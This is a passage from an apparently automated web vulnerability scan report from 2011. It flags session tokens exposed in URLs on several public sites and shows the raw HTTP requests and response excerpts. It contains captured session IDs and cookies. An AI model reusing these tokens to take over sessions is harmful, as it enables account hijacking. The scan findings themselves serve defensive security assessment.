title="Sport">Sport</a> <a href="/tags/suchmaschine/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:65:j_id618" class="tag0" title="Suchmaschine">Suchmaschine</a> <a href="/tags/testberichte/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:66:j_id618" class="tag0" title="Testberichte">Testberichte</a> <a href="/tags/tipps/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:67:j_id618" class="tag1" title="Tipps">Tipps</a> <a href="/tags/tv/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:68:j_id618" class="tag4" title="TV">TV</a> <a href="/tags/twitter/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:69:j_id618" class="tag1" title="Twitter">Twitter</a> <a href="/tags/urlaub/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:70:j_id618" class="tag6" title="Urlaub">Urlaub</a> <a href="/tags/usa/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:71:j_id618" class="tag2" title="USA">USA</a> <a href="/tags/video/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:72:j_id618" class="tag8" title="Video">Video</a> <a href="/tags/webdesign/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:73:j_id618" class="tag2" title="WebDesign">WebDesign</a> <a href="/tags/windows/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:74:j_id618" class="tag1" title="Windows">Windows</a> <a href="/tags/wirtschaft/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:75:j_id618" class="tag1" title="Wirtschaft">Wirtschaft</a> <a href="/tags/wissen/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:76:j_id618" class="tag0" title="Wissen">Wissen</a> <a href="/tags/youtube/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id617:77:j_id618" class="tag8" title="YouTube">YouTube</a>
...[SNIP]...
<div class="taglist"><a href="/tags/2011/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:0:j_id674" class="tag0" title="2011">2011</a> <a href="/tags/arge/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:1:j_id674" class="tag0" title="arge">arge</a> <a href="/tags/benzin/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:2:j_id674" class="tag0" title="Benzin">Benzin</a> <a href="/tags/co2/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:3:j_id674" class="tag0" title="CO2">CO2</a> <a href="/tags/doku/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:4:j_id674" class="tag1" title="Doku">Doku</a> <a href="/tags/emissionen/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:5:j_id674" class="tag0" title="Emissionen">Emissionen</a> <a href="/tags/fifa/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:6:j_id674" class="tag0" title="FIFA">FIFA</a> <a href="/tags/firmware/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:7:j_id674" class="tag1" title="FIRMWARE">FIRMWARE</a> <a href="/tags/free/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:8:j_id674" class="tag4" title="free">free</a> <a href="/tags/gala/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:9:j_id674" class="tag0" title="Gala">Gala</a> <a href="/tags/glosse/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:10:j_id674" class="tag0" title="Glosse">Glosse</a> <a href="/tags/gps/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:11:j_id674" class="tag2" title="GPS">GPS</a> <a href="/tags/gratis/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:12:j_id674" class="tag1" title="gratis">gratis</a> <a href="/tags/handy/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:13:j_id674" class="tag7" title="Handy">Handy</a> <a href="/tags/hape/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:14:j_id674" class="tag0" title="HaPe">HaPe</a> <a href="/tags/hartz+iv/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:15:j_id674" class="tag2" title="Hartz IV">Hartz IV</a> <a href="/tags/hybrid/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:16:j_id674" class="tag0" title="Hybrid">Hybrid</a> <a href="/tags/internet-tv/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:17:j_id674" class="tag0" title="Internet-TV">Internet-TV</a> <a href="/tags/israel/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:18:j_id674" class="tag5" title="Israel">Israel</a> <a href="/tags/istrien/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:19:j_id674" class="tag0" title="Istrien">Istrien</a> <a href="/tags/jobcenter/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:20:j_id674" class="tag0" title="JobCenter">JobCenter</a> <a href="/tags/kerkeling/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:21:j_id674" class="tag0" title="Kerkeling">Kerkeling</a> <a href="/tags/konzert/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:22:j_id674" class="tag3" title="Konzert">Konzert</a> <a href="/tags/krebs/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:23:j_id674" class="tag1" title="Krebs">Krebs</a> <a href="/tags/kroatien/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:24:j_id674" class="tag0" title="Kroatien">Kroatien</a> <a href="/tags/live/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:25:j_id674" class="tag2" title="live">live</a> <a href="/tags/motor/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:26:j_id674" class="tag0" title="Motor">Motor</a> <a href="/tags/power/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:27:j_id674" class="tag0" title="power">power</a> <a href="/tags/results/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:28:j_id674" class="tag0" title="RESULTS">RESULTS</a> <a href="/tags/schuhe/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:29:j_id674" class="tag1" title="Schuhe">Schuhe</a> <a href="/tags/scooter/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:30:j_id674" class="tag0" title="Scooter">Scooter</a> <a href="/tags/sklaverei/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:31:j_id674" class="tag0" title="sklaverei">sklaverei</a> <a href="/tags/sozialhilfe/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:32:j_id674" class="tag0" title="Sozialhilfe">Sozialhilfe</a> <a href="/tags/sprit+sparen/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:33:j_id674" class="tag0" title="Sprit sparen">Sprit sparen</a> <a href="/tags/strahlung/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:34:j_id674" class="tag0" title="Strahlung">Strahlung</a> <a href="/tags/stream/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:35:j_id674" class="tag0" title="stream">stream</a> <a href="/tags/television/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:36:j_id674" class="tag0" title="Television">Television</a> <a href="/tags/tod/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:37:j_id674" class="tag3" title="Tod">Tod</a> <a href="/tags/tree/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:38:j_id674" class="tag0" title="tree">tree</a> <a href="/tags/umwelt/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:39:j_id674" class="tag6" title="Umwelt">Umwelt</a> <a href="/tags/watch/aktuell/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id673:40:j_id674" class="tag0" title="watch">watch</a>
...[SNIP]...
<p class="link">....<a href="/url/130384687/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id685:0:j_id689" title="GLOSSE: Wie rede ich ein Jobwunder herbei? - Blog von Kiat Gorina">GLOSSE: Wie rede ich ein Jobwunder herbei? - Blog von Kiat Gorina</a>
...[SNIP]...
<p class="link">....<a href="/url/130382586/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id685:1:j_id689" title="Startseite: St. Marien-Liebfrauen &amp; St. Michael in Berlin">Startseite: St. Marien-Liebfrauen & St. Michael in Berlin</a>
...[SNIP]...
<p class="link">....<a href="/url/130382581/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id685:2:j_id689" title="SV Harderberg von 1950 e.V.">SV Harderberg von 1950 e.V.</a>
...[SNIP]...
<p class="link">....<a href="/url/130382437/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id685:3:j_id689" title="Zahlen zum Weltkrebstag: 2009 starben mehr als 200.000 Menschen in Deutschlan...">Zahlen zum Weltkrebstag: 2009 starben mehr als 200.000 Menschen in Deutschlan...</a>
...[SNIP]...
<p class="link">....<a href="/url/112933076/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id685:4:j_id689" title="TinEye - Bilder Suche (..hnliche)">TinEye - Bilder Suche (..hnliche)</a>
...[SNIP]...
<p class="link">....<a href="/url/130380853/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id685:5:j_id689" title="GPS Uhr Vergleich">GPS Uhr Vergleich</a>
...[SNIP]...
<p class="link">....<a href="/url/130379521/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id685:6:j_id689" title="Bruno S..hnle">Bruno S..hnle</a>
...[SNIP]...
<p class="link">....<a href="/url/67018262/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id685:7:j_id689" title="Coole Spiele">Coole Spiele</a>
...[SNIP]...
<p class="link">....<a href="/url/130374517/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id685:8:j_id689" title="Magnetfeld von Draht und Spule">Magnetfeld von Draht und Spule</a>
...[SNIP]...
<p class="link">....<a href="/url/130374515/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id685:9:j_id689" title="Das Magnetfeld einer Spule .. WFR Blog">Das Magnetfeld einer Spule .. WFR Blog</a>
...[SNIP]...
<span class="thumbnail"><a href="/user/thunderhand/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id733:0:j_id735"><img title="oneview Mitglied: thunderhand" height="40" alt="oneview Mitglied: thunderhand" width="40" src="/img/icon_me_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/user/luckytosing/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id733:1:j_id735"><img title="oneview Mitglied: LuckyToSing" height="40" alt="oneview Mitglied: LuckyToSing" width="40" src="/img/icon_me_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/user/mariya_mladenova/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id733:2:j_id735"><img title="oneview Mitglied: mariya_mladenova" height="40" alt="oneview Mitglied: mariya_mladenova" width="40" src="/startpages/ma/mariya_mladenova/userpics/pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/user/thecardesigner/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id733:3:j_id735"><img title="oneview Mitglied: thecardesigner" height="40" alt="oneview Mitglied: thecardesigner" width="40" src="/img/icon_me_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/user/team9/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id733:4:j_id735"><img title="oneview Mitglied: Team9" height="40" alt="oneview Mitglied: Team9" width="40" src="/startpages/Te/Team9/userpics/pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/user/jup/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id733:5:j_id735"><img title="oneview Mitglied: Jup" height="40" alt="oneview Mitglied: Jup" width="40" src="/startpages/Ju/Jup/userpics/pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/user/syndie/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id733:6:j_id735"><img title="oneview Mitglied: syndie" height="40" alt="oneview Mitglied: syndie" width="40" src="/img/icon_me_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/user/pixelschieber/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id733:7:j_id735"><img title="oneview Mitglied: pixelschieber" height="40" alt="oneview Mitglied: pixelschieber" width="40" src="/startpages/pi/pixelschieber/userpics/pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/user/senior_rossi/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id733:8:j_id735"><img title="oneview Mitglied: Senior_Rossi" height="40" alt="oneview Mitglied: Senior_Rossi" width="40" src="/startpages/Se/Senior_Rossi/userpics/pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/user/progdienst/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id733:9:j_id735"><img title="oneview Mitglied: progdienst" height="40" alt="oneview Mitglied: progdienst" width="40" src="/img/icon_me_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/gruppe/50224663/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id804:0:j_id806"><img title="Social Bookmarking - Gruppen - Musik im Netz" height="40" alt="Social Bookmarking - Gruppen - Musik im Netz" width="40" src="/img/netzwerk_pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/gruppe/yoga/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id804:1:j_id806"><img title="Social Bookmarking - Gruppen - YOGA" height="40" alt="Social Bookmarking - Gruppen - YOGA" width="40" src="/startpages/communitypics/45525802/pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/gruppe/koeln_ausfluege/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id804:2:j_id806"><img title="Social Bookmarking - Gruppen - Ausfl..ge ins K..lner Umland" height="40" alt="Social Bookmarking - Gruppen - Ausfl..ge ins K..lner Umland" width="40" src="/startpages/communitypics/49268084
...[SNIP]...
<span class="thumbnail"><a href="/gruppe/trance/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id804:3:j_id806"><img title="Social Bookmarking - Gruppen - Trance" height="40" alt="Social Bookmarking - Gruppen - Trance" width="40" src="/startpages/communitypics/51662181/pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/gruppe/hartz-iv/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id804:4:j_id806"><img title="Social Bookmarking - Gruppen - Hartz IV" height="40" alt="Social Bookmarking - Gruppen - Hartz IV" width="40" src="/img/netzwerk_pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/gruppe/45533319/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id804:5:j_id806"><img title="Social Bookmarking - Gruppen - dooyoo" height="40" alt="Social Bookmarking - Gruppen - dooyoo" width="40" src="/img/netzwerk_pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/gruppe/46096720/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id804:6:j_id806"><img title="Social Bookmarking - Gruppen - Biologie" height="40" alt="Social Bookmarking - Gruppen - Biologie" width="40" src="/startpages/communitypics/46096720/pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/gruppe/special-websites/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id804:7:j_id806"><img title="Social Bookmarking - Gruppen - Special Websites" height="40" alt="Social Bookmarking - Gruppen - Special Websites" width="40" src="/startpages/communitypics/49774346/pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/gruppe/frieden/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id804:8:j_id806"><img title="Social Bookmarking - Gruppen - Netzwerk Frieden" height="40" alt="Social Bookmarking - Gruppen - Netzwerk Frieden" width="40" src="/startpages/communitypics/51207441/pic_40x40.jpg" />
...[SNIP]...
<span class="thumbnail"><a href="/gruppe/politik_deutschland/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id804:9:j_id806"><img title="Social Bookmarking - Gruppen - Politik und Gesellschaft in Deutschland" height="40" alt="Social Bookmarking - Gruppen - Politik und Gesellschaft in Deutschland" width="40" src="/startpages/
...[SNIP]...
<span class="footercontent"><a href="/hilfe/was-ist-oneview/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id841" title="..ber oneview">..ber oneview</a>
           ..<a href="/hilfe/impressum/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id844" title="Impressum">Impressum</a>
               ..<a href="/hilfe/datenschutz/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id847" target="_blank" title="Datenschutz">Datenschutz</a>
           ..<a href="/hilfe/agb/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id850" target="_blank" title="AGB">AGB</a>
           ..<a href="/hilfe/kontakt-formular/;jsessionid=22619842C67867F5B1EE74469F963957" id="j_id853" target="_blank" title="Kontakt">Kontakt</a>
...[SNIP]...

10.23. http://www.quantcast.com/p-bdv9UMaVrliL2 previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.quantcast.com
Path:	/p-bdv9UMaVrliL2

Issue detail

The response contains the following links that appear to contain session tokens:

http://www.quantcast.com/evite.com;jsessionid=65D59184928FE764BF04CAF9660122C1
http://www.quantcast.com/gawker.com;jsessionid=65D59184928FE764BF04CAF9660122C1
http://www.quantcast.com/hulu.com;jsessionid=65D59184928FE764BF04CAF9660122C1

Request

GET /p-bdv9UMaVrliL2 HTTP/1.1
Host: www.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html
Content-Language: en
Date: Sun, 06 Feb 2011 16:11:01 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<p>
Maybe you should try <a href="/hulu.com;jsessionid=65D59184928FE764BF04CAF9660122C1">hulu.com</a>, <a href="/gawker.com;jsessionid=65D59184928FE764BF04CAF9660122C1">gawker.com</a> or <a href="/evite.com;jsessionid=65D59184928FE764BF04CAF9660122C1">evite.com</a>
...[SNIP]...

10.24. http://www.splunk.com/page/company_news previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.splunk.com
Path:	/page/company_news

Issue detail

The response contains the following links that appear to contain session tokens:

http://www.informationweek.com/news/infrastructure/management/showArticle.jhtml;jsessionid=5VHZGYTV3A3DAQSNDLPCKH0CJUNN2JVN?articleID=209100511&pgno=2&queryText=&isPrev=

Request

GET /page/company_news HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:10:23 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 23badbc68e2e095cbb5301051f3074cc1296943825
Last-Modified: Sat, 05 Feb 2011 22:10:25 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 53471

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<li>
<a href="http://www.informationweek.com/news/infrastructure/management/showArticle.jhtml;jsessionid=5VHZGYTV3A3DAQSNDLPCKH0CJUNN2JVN?articleID=209100511&pgno=2&queryText=&isPrev="
target="_blank">
InformationWeek: 7 Enterprise Management Tools That Cost Less Than $10,000</a>
...[SNIP]...

10.25. http://www.usbjd.org/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.usbjd.org
Path:	/

Issue detail

The response contains the following links that appear to contain session tokens:

http://www.usbjd.org/projects/NAW_op.cfm?CFID=289606&CFTOKEN=71775577
http://www.usbjd.org/projects/pbj_op.cfm?CFID=2412329&CFTOKEN=36855685

Request

GET / HTTP/1.1
Host: www.usbjd.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:21:38 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=2725183;expires=Mon, 28-Jan-2041 22:21:38 GMT;path=/
Set-Cookie: CFTOKEN=11047330;expires=Mon, 28-Jan-2041 22:21:38 GMT;path=/
Set-Cookie: JSESSIONID=f03049975b529aec19d61d691f7b301a1652;path=/
Content-Type: text/html; charset=UTF-8

<HTML>
<HEAD>

<meta property="og:type" content="website"/>
<meta property="og:url" content="http://www.usbjd.org/"/>
<meta property="og:image" content="http://www.usbjd.org/images/usbjd-face.jpg"/
...[SNIP]...
<LI><A href="http://www.usbjd.org/projects/NAW_op.cfm?CFID=289606&CFTOKEN=71775577"><FONT color=#008040 size=2>
...[SNIP]...
<LI><A href="http://www.usbjd.org/projects/pbj_op.cfm?CFID=2412329&CFTOKEN=36855685"><FONT color=#ebc014>
...[SNIP]...

10.26. http://www.yasni.de/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www.yasni.de
Path:	/

Issue detail

The response contains the following links that appear to contain session tokens:

http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css?redownloadToken=7.01
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css?redownloadToken=7.01
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js?redownloadToken=7.01
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js?redownloadToken=7.01

Request

GET / HTTP/1.1
Host: www.yasni.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
Set-Cookie: PHPSESSID=ib67a9muufa2rn8m46he1nmoohr1buhs; expires=Sun, 06-Feb-2011 16:40:23 GMT; path=/; HttpOnly
X-hostname: bl09.yasni.de
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 35949
Date: Sun, 06 Feb 2011 16:16:23 GMT
X-Varnish: 1446015031
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8"
...[SNIP]...

<link type="text/css" rel="stylesheet" href="http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css?redownloadToken=7.01">

<link type="text/css" rel="stylesheet" href="http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css?redownloadToken=7.01">


<script type="text/javascript" src="http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js?redownloadToken=7.01"></script>
<script type="text/javascript" src="http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/frontpage.js?redownloadToken=7.01"></script>
...[SNIP]...

10.27. http://www1.hilton.com/en_US/hi/customersupport/site-usage.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www1.hilton.com
Path:	/en_US/hi/customersupport/site-usage.do

Issue detail

The response contains the following links that appear to contain session tokens:

http://www1.hilton.com/en/ch/home.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/en_US/dt/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/en_US/es/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/en_US/gi/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/en_US/hh/home_index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/en_US/hi/customersupport/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/en_US/hi/customersupport/site-usage.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/en_US/hi/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/en_US/hp/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/en_US/ht/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/en_US/hw/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/en_US/ww/customersupport/privacy-policy.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/es/hi/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41
http://www1.hilton.com/fr/hi/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41

Request

GET /en_US/hi/customersupport/site-usage.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Content-Language: en-US
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Sun, 06 Feb 2011 16:16:28 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=EF159B1B7305A6E6A39111D0417098EA.etc41; Path=/
Set-Cookie: NSC_qse-qgt=44153d5e3660;expires=Sun, 06-Feb-11 16:27:28 GMT;path=/
Content-Length: 69508

                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
   <head>
   <meta http-equi
...[SNIP]...
<td>


                                                                                                                                       <a href="/en_US/hi/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41" title="Hilton Hotels Home Page" tabindex="3">
                           <img src="/en_US/hi/media/images/logos/logo.gif" border="0" />
...[SNIP]...
<li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_CH');" onmouseout="turnOffPopup('brandBarLi_CH');" href="/en/ch/home.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_HI');" onmouseout="turnOffPopup('brandBarLi_HI');" href="/en_US/hi/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_DT');" onmouseout="turnOffPopup('brandBarLi_DT');" href="/en_US/dt/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_ES');" onmouseout="turnOffPopup('brandBarLi_ES');" href="/en_US/es/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_GI');" onmouseout="turnOffPopup('brandBarLi_GI');" href="/en_US/gi/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_HP');" onmouseout="turnOffPopup('brandBarLi_HP');" href="/en_US/hp/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41"><span>
